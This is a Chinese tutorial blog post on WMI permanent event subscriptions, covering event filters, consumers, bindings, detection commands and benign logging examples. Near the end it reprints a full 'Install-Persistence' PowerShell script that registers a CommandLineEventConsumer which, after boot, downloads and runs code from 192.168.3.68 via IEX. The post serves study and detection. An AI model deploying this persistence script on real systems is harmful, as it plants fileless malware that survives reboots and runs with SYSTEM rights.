WMI系列--WMI订阅事件

news2024/11/16 5:41:17

前边对于WMI的基础内容进行简单的总结和整理,结下来的这篇内容主要针对WMI的永久订阅事件展开详细的阐述。

WMI事件订阅机制

WMI事件分为两类,分别是本地事件订阅和永久性事件订阅。
所谓本地事件是指运行在本地上下文环境当中的单个进程的事件,因此本地事件订阅的生命周期是进程生命周期,相比较而言,永久性事件订阅可以在任何事件接收WMI事件,其保存在WMI存储库中,以 SYSTEM 权限运行,并且重启后依然存在。
创建一个永久性的事件订阅需要满足三个条件:

  1. 过滤器(Event Filter):顾名思义,筛选出我们感兴趣的事件
  2. 事件消费者(Event Constumer):筛选出来的事件呗触发的时候,需要执行的操作
  3. 消费者绑定筛选器:将筛选器绑定到消费者的注册机制

事件筛选器

事件筛选器的主要作用是在捕获的WMI事件中筛选出我们感兴趣的事件,这个过程通过WQL语句实现。系统管理员在配置了筛选器之后,就会在创建新事件的时候接收到通知。一般情况下恶意代码可能对以下的事件感兴趣

  1. 创建某个特定名称的进程
  2. 加载某个DLL到内存空间
  3. 用户注销
  4. 插入移动设备

事件筛选器都被存储为一个 ROOT\subscription:__EventFilter 对象的实例,事件筛选器主要支持以下事件的查询:

内部事件

内部事件表示的是创建、修改和删除任何 WMI 类,对象或命名空间的事件。它们也可被用于计时器或 WMI 方法执行的警报。以下内部事件采用了系统类 (以两个下划线开头的那些) 的形式,并存在于每一个 WMI 命名空间:

__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent

外部事件

相对而言,外部事件并没有内部事件支持的类型多,以下列举几类攻击者可能感兴趣同时防御方需要重点关注的几类事件:

ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent

事件筛选器包含4个参数:

EventNamespace(事件命名空间)
Name(筛选器名称)
Query(筛选过滤语句)
QueryLanguage(语句类型)

事件消费者

事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。系统提供了以下有用的标准事件消费类:

LogFileEventConsumer - 将事件数据写入到指定的日志文件(日志文件事件消费者)
ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload(脚本事件消费者)
NTEventLogEventConsumer - 创建一个包含事件数据的事件日志条目(NT事件日志事件消费者)
SMTPEventConsumer - 发送一封包含事件数据的电子邮件(邮件事件消费者)
CommandLineEventConsumer - 执行一个命令行程序(命令行事件消费者)

攻击者在响应他们的事件时,大量使用 ActiveScriptEventConsumerCommandLineEventConsumer 类。这两个事件消费者为攻击者提供了极大的灵活性去执行他们想要执行的任何 payload 并且无需写入一个恶意的可执行文件或脚本到磁盘。
命令行事件消费者主要有以下四个参数:

Name(事件消费者名)
ExecutablePath(执行路径)
CommandLineTemplate(命令行)
RunInteractively(交互式运行)

事件消费者和筛选器的绑定

使用__FilterToConsumerBinding建立筛选器和事件消费者的绑定关系。

$FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

永久订阅事件的检查

这里主要介绍如何查看当前操作系统中已经注册的筛选器和消费者以及已经绑定过的事件:

Get-WMIObject -Namespace root\Subscription -Class __EventFilter :查看当前操作系统注册的筛选器

在这里插入图片描述

Get-WMIObject -Namespace root\Subscription -Class __EventConsumer :查看当前操作系统注册的消费者信息

在这里插入图片描述

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding :查看当前操作系统绑定过的筛选器和消费者

在这里插入图片描述

powershell创建WMI永久订阅事件

使用 [wmiclass]

具体操作过程如下:

  1. 创建过滤器
1:首先创建过滤器
$SecurityFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
2:设置必要参数:查询语言、查询语句、名称、命名空间
 $SecurityFilter.QueryLanguage="WQL"            设置查询语言
 $SecurityFilter.Query="select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'"
(设置查询语句)
 $SecurityFilter.Name="ServiceFilter"    设置过滤器名称
 $SecurityFilter.EventNamespace='root\cimv2'        设置命名空间

__InstanceModificationEvent系统类报告实例修改事件,这是实例在命名空间中更改时生成的内部事件类型。
https://learn.microsoft.com/zh-cn/windows/win32/wmisdk/determining-the-type-of-event-to-receive
https://learn.microsoft.com/zh-cn/windows/win32/wmisdk/–instancemodificationevent

创建好之后的过滤器如下:
在这里插入图片描述
之后需要将刚才创建好的新过滤器保存到WMI的存储库中,可以使用put函数实现这个目的,在此之前我们可以使用Get-Member配合-View All选项查看到所有的成员
调用put函数将已经创建的过滤器保存到WMI存储库中

$result = $SecurityFilter.Put()
$newFilter = $result.Path

最后生成的过滤器即:$newFilter ,内容如下:
在这里插入图片描述
在这里插入图片描述
2. 创建消费者

$SecutityConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()
$SecutityConsumer.Name = 'ServiceConsumer'
$SecutityConsumer.Filename = "C:\Scripts\Log.log"
$SecutityConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
$result = $SecutityConsumer.Put()  
$newConsumer = $result.Path

在这里插入图片描述
3. 绑定过滤器和消费者

$SecurityBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$SecurityBinding.Filter = $newFilter  
$SecurityBinding.Consumer = $newConsumer  
$result = $SecurityBinding.Put()  
$newBinding = $result.Path

在这里插入图片描述
尝试执行触发动作:Stop-Service wuauserv -Verbose在这里插入图片描述

使用 Set-WMIInstance

关于Set-WMIInstance微软说明:
https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.management/set-wmiinstance?view=powershell-5.1
创建步骤依旧相似,首先创建过滤器:
关于splatting的微软说明:简单来说,为了传递多个参数
https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_splatting?view=powershell-7.3

在splatting中初始化多个参数,和创建的时候指定相关参数是一样的,通过splatting指定命名空间以及类名等参数

*splatting* $wmiParams = @{
     Computername = $env:COMPUTERNAME
     ErrorAction = 'Stop'
     NameSpace = 'root\subscription'
 }
 
 #创建过滤器
 
$wmiParams.Class = '__EventFilter'  
$wmiParams.Arguments = @{
     Name = 'ServiceFilter'
     EventNamespace = 'root\CIMV2'
     QueryLanguage = 'WQL'
     Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"
 }  
$filterResult = Set-WmiInstance @wmiParams

#创建消费者

$wmiParams.Class = 'LogFileEventConsumer'
$wmiParams.Arguments = @{
    Name = 'ServiceConsumer'
    Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
    FileName = "C:\Scripts\Log.log" }
$consumerResult = Set-WmiInstance @wmiParams

#绑定消费者和过滤器

$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
     Filter = $filterResult
     Consumer = $consumerResult
 }
$bindingResult = Set-WmiInstance @wmiParams

执行结果如下:
在这里插入图片描述
完整的Powershell创建WMI永久订阅事件示例:https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&mid=2247492771&idx=1&sn=0247402ab49345c90c77d3c651678bd5&chksm=fd8470c9caf3f9dfcd4ded3126424af35faed84997b1f581b50961aac6defe1f1a99a4e11b99&scene=27

function Install-Persistence{

    $Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>"
    $EventFilterName = 'Cleanup'
    $EventConsumerName = 'DataCleanup'
    $finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"

    # Create event filter
    $EventFilterArgs = @{
        EventNamespace = 'root/cimv2'
        Name = $EventFilterName
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
        QueryLanguage = 'WQL'
    }

    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

    # Create CommandLineEventConsumer
    $CommandLineConsumerArgs = @{
        Name = $EventConsumerName
        CommandLineTemplate = $finalPayload
    }
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

    # Create FilterToConsumerBinding
    $FilterToConsumerArgs = @{
        Filter = $Filter
        Consumer = $Consumer
    }
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

    #Confirm the Event Filter was created
    $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
    if($EventCheck -ne $null) {
        Write-Host "Event Filter $EventFilterName successfully written to host"
    }

    #Confirm the Event Consumer was created
    $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
    if($ConsumerCheck -ne $null) {
        Write-Host "Event Consumer $EventConsumerName successfully written to host"
    }

    #Confirm the FiltertoConsumer was created
    $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
    if($BindingCheck -ne $null){
        Write-Host "Filter To Consumer Binding successfully written to host"
    }

}

function Remove-Persistence{
    $EventFilterName = 'Cleanup'
    $EventConsumerName = 'DataCleanup'

    # Clean up Code - Comment this code out when you are installing persistence otherwise it will

    $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
    $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

    $FilterConsumerBindingToCleanup | Remove-WmiObject
    $EventConsumerToCleanup | Remove-WmiObject
    $EventFilterToCleanup | Remove-WmiObject

}

function Check-WMI{
    Write-Host "Showing All Root Event Filters"
    Get-WmiObject -Namespace root/subscription -Class __EventFilter

    Write-Host "Showing All CommandLine Event Consumers"
    Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer

    Write-Host "Showing All Filter to Consumer Bindings"
    Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}

在这里插入图片描述

参考链接

https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
https://tttang.com/archive/1624/
https://www.anquanke.com/post/id/85851
https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html
https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/593290.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

入门编程的方法和步骤

编程是信息时代必备的一项技能&#xff0c;无论是从事计算机行业的人员&#xff0c;还是从事其他行业的人员&#xff0c;学会编程对个人职业发展都有着重要的意义。但是&#xff0c;对于初学者来说&#xff0c;如何入门编程往往是一个比较棘手的问题。本文将介绍一些入门编程的…

训练YOLOv5对象检测模型的逐步指导

介绍 欢迎来到我们的 YOLOv5 教程系列的第 2 部分!如果您还没有查看本系列的第 1 部分,我建议您先阅读该部分;它涵盖了如何在 Windows 和 Google Colab 上安装用于真实对象检测的 YOLOv5 ,我们假设您已在本报告中完成了这些操作。 也就是说,一旦您设置了环境,您就可以开…

DuDuTalk语音工牌:语音数据分析在销售场景的应用价值

在现今这个数字时代&#xff0c;企业需要更高效、更有效地沟通和合作。语音数据的收集和分析能够增加销售团队和客户之间的联系&#xff0c;同时提高销售闭合率。因此&#xff0c;了解和利用销售沟通语音数据的价值&#xff0c;是现代企业所必须的。 销售沟通语音数据指的是在…

精益生产管理的优势特点以及工具步骤

一、何为精益生产 精益生产&#xff08;LeanProduction&#xff0c;简称LP&#xff09;是美国麻省理工学院数位国际汽车计划组织&#xff08;IMVP&#xff09;的专家对日本“丰田JIT&#xff08;JustInTime&#xff09;生产方式”的赞誉之称&#xff0c;精&#xff0c;即少而精…

不同股指期货交易平台的优缺点比较,让你一目了然!

股指期货交易平台是股指期货交易的重要场所&#xff0c;是期货市场的核心平台之一。在股指期货交易平台上&#xff0c;投资者可以进行股指期货的买卖&#xff0c;获得相应的投资收益。然而&#xff0c;对于大部分投资者来说&#xff0c;如何选择一个好的股指期货交易平台却是一…

locust压测脚本文档组织结构

以下为locust压测脚本文档组织结构模板&#xff0c;和TestDeploy对接丝滑&#xff0c;轻松实现分布式压测。 1、common common主要是存放改写了的请求方法&#xff0c;包括GET、POST等等&#xff0c;作为统一入口&#xff0c;以便各个API统一调用。 2、config config主要存…

读取PPT模板替换数据生成PDF报表

一、项目背景 因本人的公司是做短信通信服务的&#xff0c;所以客户需要将短信的发送量&#xff0c;按照他们给定的PPT样例模板&#xff0c;来生成PDF报表数据&#xff0c;即PPT的样式&#xff0c;数据如何展示都是规定好了的&#xff0c;而我需要做的就是将真实的数据&#xf…

B站参战618,直播带货成变现香饽饽,直播数据分析必看

五月已经见底&#xff0c;年中电商大考“618购物节”自26号拉开序幕。 各大主播、平台、品牌都紧锣密鼓地布起活动网。去年&#xff0c;B站因首次参战双十一冲上热门&#xff0c;平台为此上线直播购物分区。 来源-B站 经过去年各大品牌、UP主对双十一购物节直播带货的试水、观…

LCR测试仪夹具选型指南新鲜出炉

好马配好鞍&#xff0c;好仪器配好夹具。有不少朋友好奇&#xff0c;仪器选好了&#xff0c;那测试夹具如何挑选&#xff1f; 接下来安泰测试为大家简单介绍一下关于LCR测试仪中常用的测试夹具。 1/ 四端/四端对测试线 01 TH26011AS 频率范围&#xff1a;5Hz-100kHz 最大…

火山引擎DataLeap:如何构建一套完整、易用的数据标准体系

数据标准是数据治理体系中的核心要素之一。 一方面&#xff0c;统一的数据标准可以在复杂的业务场景下&#xff0c;帮助团队对齐数据口径&#xff0c;提升数据在分析、诊断等场景的质量与效率&#xff1b;另一方面&#xff0c;数仓团队与分析师团队也需要沉淀一套敏捷、可控的…

TimSort——最快的排序算法

TimSort——最快的排序算法 排序算法是每个程序员绕不开的课题&#xff0c;无论是大学课程还是日常工作&#xff0c;都离不开排序算法。常见的排序算法有&#xff1a;冒泡排序、选择排序、插入排序、希尔排序、归并排序、快速排序、堆排序、基数排序等。下面是这些算法性能的概…

2022年天府杯全国大学生数学建模竞赛D题高等院校综合发展状况与学科质量评估解题全过程文档及程序

2022年天府杯全国大学生数学建模竞赛 D题 高等院校综合发展状况与学科质量评估 原题再现&#xff1a; 问题背景&#xff1a;   高等院校是我国经济社会发展中的重要参与者&#xff0c;一流大学与一流学科的建成是实现社会主义共同富裕的重要基础。随着国家第二轮“双一流”…

PMP课堂模拟题目及解析(第16期)

151. 一个全球多学科项目的项目经理如何才能确保在所有学科中使用变更控制过程&#xff1f; A. 执行影响分析以考虑所有项目学科 B. 确保变更控制委员会有来自所有学科的代表 C. 邀请所有学科参加变更控制系统委员会会议&#xff0c;但仅从所参加的学科收集意见 D. 代表其…

让你不再好奇图片识别工具怎么用

你是否曾经遇到过想知道一张照片中是什么物品或者景色&#xff0c;却不知道如何搜索的情况&#xff1f;或者&#xff0c;你是否曾经想要识别一张照片中的人脸&#xff0c;想要借助图片识别软件&#xff0c;又不知道图片识别工具怎么用&#xff1f;别担心&#xff0c;接下来我将…

「实在RPA·地产数字员工」筑牢数字经济发展之基

地产行业是国民衣食住行日常生活中的重要组成部分&#xff0c;为人们提供遮风挡雨的温暖港湾。根据国家统计局数据&#xff0c;从GDP占比看&#xff0c;2020年房地产及其产业链占我国GDP的17%&#xff08;完全贡献&#xff09;&#xff0c;是我国经济发展的火车头之一。由此看来…

零代码、低代码、APaaS系统怎么选?一文带你避坑!

零代码、低代码、apaas的概念在整个全球行业内已经流行了很长一段时间。那这3个概念分别指的是什么&#xff1f;他们具备何种能力&#xff1f;企业如果要用该如何选&#xff1f;有哪些好用的低代码平台推荐&#xff1f;下面一文全部给你讲清楚&#xff01; 一、零代码、低代码…

HTML+CSS实训——Day07——发现页用JavaScript进一步修改

仓库链接:https://github.com/MengFanjun020906/HTML_SX 前言 继续改昨天的界面&#xff0c;我们在上周写的都是静态页面&#xff0c;这周开始给静态界面加上javascript&#xff0c;可以让其互相跳转&#xff0c;再加上一些功能。 Find.html // 歌曲列表let songs [{"s…

Java 集合List转 Map 和Map转List的方法总结(举例说明!)

最近遇到了一个场景是&#xff0c;要将从数据库中查出的List<bean>转换为List<map>然后再取map中的value&#xff0c;最后把所有的value写到Excel中。由于这个bean的属性太多了&#xff0c;我最开始没有采用list转map的方式取获取value&#xff0c;而是在for循环中…

结构型设计模式03-外观模式

✨作者&#xff1a;猫十二懿 ❤️‍&#x1f525;账号&#xff1a;CSDN 、掘金 、个人博客 、Github &#x1f389;公众号&#xff1a;猫十二懿 外观模式&#xff08;门面模式&#xff09; 1、外观模式介绍 外观模式&#xff08;Facade Pattern&#xff09;&#xff0c;也称门…

外贸高手揭秘:心理学在谈判中的秘密武器!

在我看来&#xff0c;谈判与心理学密切相关&#xff0c;研究谈判就是研究心理学&#xff01;大学期间&#xff0c;我几乎读完了所有的心理学著作&#xff0c;我必须承认&#xff0c;这为我后来的外贸谈判打下了良好的基础。 有人说:为什么要用谈判这个词&#xff1f;这只是一个…